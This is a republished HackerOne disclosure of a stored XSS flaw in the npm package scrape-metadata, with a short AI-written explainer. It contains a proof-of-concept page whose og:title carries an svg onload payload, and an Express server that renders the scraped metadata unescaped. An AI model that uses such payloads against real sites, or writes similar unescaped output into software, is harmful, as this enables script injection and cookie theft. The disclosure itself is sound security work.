Skip to content
XSS Disclosed report Beginner

stored xss in scrape-metadata when reading metadata from an html page

The scrape-metadata library did not sanitise metadata content read from an HTML page, allowing an attacker to inject JavaScript via the og:title property. If the library's output is rendered directly in HTML, this could lead to cross-site scripting (XSS).

johnssimon007 Follow

Originally disclosed on HackerOne

  • Triaged in 27 hours
  • Disclosed after 36 days

Hy

Module

scrape-metadata https://www.npmjs.com/package/scrape-metadata

Module Description

a module used to scrape meta data contents from an article

Vulnerability Description

It was possible to embed malicious js code in metadata content read by scrape-metadata. When library reads such metadata, there was no sanitization performed. If output from scrape-metadata is rendered directly in HTML code,it can lead to xss/html injection.

Steps To Reproduce:

create a website, I used a local server available at http://127.0.0.1:8080 Below is html file with js code injected in 'og:title property' and i uploaded the file to my remote server http://pokegen.in/test.html

<!doctype html> <html xmlns:og="http://ogp.me/ns#" lang="en"> <head> <meta charset="utf8"> <title>scrap-meta</title>
<meta property="og:description" content="hackerone">
<meta property="og:image" content="image">
<meta property="og:title" content='https://google.com<svg/onload=prompt(1)>'>
<meta property="og:type" content="article">
</head> <body> </body> </html>

install scrape-metadata npm install scrape-metadata

const http=require('http'); const server=http.createServer(); const express=require('express'); const app=express(); const scrape = require('scrape-metadata') var url = "http://pokegen.in/test.html"; app.get('/scrap', function(req, res) { scrape(url, (err, meta) => { console.log(meta) let __html = <div> <p>site title:${JSON.stringify(meta)}</p> </div> res.send(__html) });

});

app.listen(8080)

save this as scrap.js now run the app,node scrap.js now goto http://127.0.0.1:8080/scrap on browser.and you will get a javascript prompt

Supporting Material/References:

Configuration I've used to find this vulnerability: windows 7 node 8.9.3 npm 5.5.1 curl 7.54.0

Wrap up

If you have any questions about any details of this finding, please let me know in comment.

Thank you

Regards, johns simon

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

This might lead to stealing session cookies from infected website, and much more sophisticated attacks

The original report as published on HackerOne, by johnssimon007. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the library did not sanitise or escape metadata values before returning them, so any HTML or JavaScript in the metadata was passed through unchanged.

Impact

This could lead to stealing session cookies from an infected website and enable more sophisticated attacks.

What the attacker needed

Attacker controls a webpage with malicious metadata; victim visits a page that renders the metadata

How it was found

  1. Create an HTML page with malicious JavaScript in the og:title meta tag.
  2. Install the scrape-metadata library.
  3. Write a Node.js server that uses scrape-metadata to fetch the page and returns the metadata in an HTML response.
  4. Run the server and visit the endpoint in a browser to trigger the JavaScript.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a library that reads information from web pages. The library failed to clean up the data it read, so if a website put harmful code in a metadata field, that code could run in a user's browser when the data was displayed. This is called cross-site scripting (XSS), where an attacker's code runs as if it came from the trusted site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by johnssimon007

View all

5 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.